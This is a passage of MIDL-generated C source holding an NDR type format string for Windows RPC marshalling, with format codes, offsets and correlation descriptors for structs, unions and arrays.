*/\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2922 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2924 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2926 */\tNdrFcShort( 0xffda ),\t/* Offset= -38 (2888) */\n/* 2928 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2930 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2932) */\n/* 2932 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2934 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 2936 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 2938 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2940 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 2942 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2946 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2950 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2952) */\n/* 2952 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 2954 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2956 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2960 */\tNdrFcShort( 0x4e ),\t/* Offset= 78 (3038) */\n/* 2962 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2961) */\n/* 2964 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 2966 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 2968 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2970 */\tNdrFcShort( 0xf6e0 ),\t/* Offset= -2336 (634) */\n/* 2972 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2974 */\tNdrFcShort( 0xf6dc ),\t/* Offset= -2340 (634) */\n/* 2976 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2978 */\tNdrFcShort( 0xf6d8 ),\t/* Offset= -2344 (634) */\n/* 2980 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2982 */\tNdrFcShort( 0xf6d4 ),\t/* Offset= -2348 (634) */\n/* 2984 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2986 */\tNdrFcShort( 0xf6d0 ),\t/* Offset= -2352 (634) */\n/* 2988 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2990 */\tNdrFcShort( 0xf6cc ),\t/* Offset= -2356 (634) */\n/* 2992 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2994 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 2996 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2998 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3000 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3002 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3004 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3006 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3010 */\tNdrFcLong( 0xa00000 ),\t/* 10485760 */\n/* 3014 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3016 */\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 3018 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3020 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3022 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 3024 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3026 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3028 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3032 */\tNdrFcLong( 0xa00000 ),\t/* 10485760 */\n/* 3036 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3038 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3040 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 3042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3044 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (3058) */\n/* 3046 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3048 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3050 */\tNdrFcShort( 0xffaa ),\t/* Offset= -86 (2964) */\n/* 3052 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3054 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3056 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3058 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3060 */\tNdrFcShort( 0xffbe ),\t/* Offset= -66 (2994) */\n/* 3062 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3064 */\tNdrFcShort( 0xffd0 ),\t/* Offset= -48 (3016) */\n/* 3066 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3068 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3070) */\n/* 3070 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3072 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3074 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 3076 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3078 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3080 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3084 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3088 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3090) */\n/* 3090 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 3092 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3094 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3098 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (3144) */\n/* 3100 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3099) */\n/* 3102 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3106 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3108 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 3110 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3112 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3114 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3118 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 3122 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3126 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3128 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3130 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3134 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3138 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3140 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3142 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3144 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3146 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 3148 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3150 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (3160) */\n/* 3152 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3154 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3156 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3158 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3160 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3162 */\tNdrFcShort( 0xffc4 ),\t/* Offset= -60 (3102) */\n/* 3164 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3166 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3168) */\n/* 3168 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3170 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 3172 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 3174 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3176 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3178 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3182 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3186 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3188) */\n/* 3188 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3190 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3192 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3196 */\tNdrFcShort( 0x54 ),\t/* Offset= 84 (3280) */\n/* 3198 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3197) */\n/* 3200 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3202 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3206 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3214) */\n/* 3208 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3210 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3212 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3214 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3216 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3218 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3220 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3222 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3224 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3226 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3228 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3230 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3232 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3234 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3238 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3242 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3246 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3248 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3250 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3254 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3258 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3260 */\tNdrFcShort( 0xffc4 ),\t/* Offset= -60 (3200) */\n/* 3262 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3264 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3266 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3268 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3270 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3276) */\n/* 3272 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3274 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3276 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3278 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3222) */\n/* 3280 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3282 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3284 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3286 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3290) */\n/* 3288 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3290 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 3292 */\tNdrFcShort( 0xffe4 ),\t/* Offset= -28 (3264) */\n/* 3294 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3296 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3298) */\n/* 3298 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3300 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3302 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 3304 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3306 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3308 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3312 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3316 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3318) */\n/* 3318 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 3320 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3322 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3326 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (3372) */\n/* 3328 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3327) */\n/* 3330 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 3332 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3334 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3336 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3338 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 3340 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 3342 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3346 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 3350 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3354 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3356 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3358 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3362 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3366 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3368 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3370 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3372 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3374 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 3376 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3378 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (3388) */\n/* 3380 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3382 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3384 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3386 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3388 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3390 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3392 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3394 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (3330) */\n/* 3396 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3398 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3400) */\n/* 3400 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3402 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 3404 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 3406 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3408 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3410 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3414 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3418 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3420) */\n/* 3420 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 3422 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3424 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3428 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3432) */\n/* 3430 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3429) */\n/* 3432 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3434 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 3436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3438 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3440 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3442) */\n/* 3442 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3444 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3446 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 3448 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3450 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3460 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3462) */\n/* 3462 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3464 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3466 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3470 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3474) */\n/* 3472 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3471) */\n/* 3474 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3476 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3478 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3480 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3488) */\n/* 3482 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3484 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3486 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3488 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3490 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3492 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3494 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3496 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3498 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3500) */\n/* 3500 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3502 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 3504 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 3506 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3508 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3510 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3514 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3518 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3520) */\n/* 3520 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 3522 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3524 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3528 */\tNdrFcShort( 0xffa0 ),\t/* Offset= -96 (3432) */\n/* 3530 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3529) */\n/* 3532 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3534 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3536) */\n/* 3536 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3538 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3540 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 3542 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3544 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3546 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3550 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3554 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3556) */\n/* 3556 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3558 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3560 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3564 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3568) */\n/* 3566 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3565) */\n/* 3568 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3570 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3572 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3574 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3578) */\n/* 3576 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3578 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3580 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3582 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3584 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3586) */\n/* 3586 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3588 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 3590 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 3592 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3594 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3596 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3600 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3604 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3606) */\n/* 3606 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 3608 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3610 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3614 */\tNdrFcShort( 0xff4a ),\t/* Offset= -182 (3432) */\n/* 3616 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3615) */\n/* 3618 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3620 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3622) */\n/* 3622 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3624 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3626 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 3628 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3630 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 3632 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3636 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3640 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3642) */\n/* 3642 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3644 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3646 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3650 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3654) */\n/* 3652 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3651) */\n/* 3654 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3656 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3658 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3660 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3666) */\n/* 3662 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3664 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3666 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3668 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3670 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3672 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3674) */\n/* 3674 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 3676 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 3678 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 3680 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, 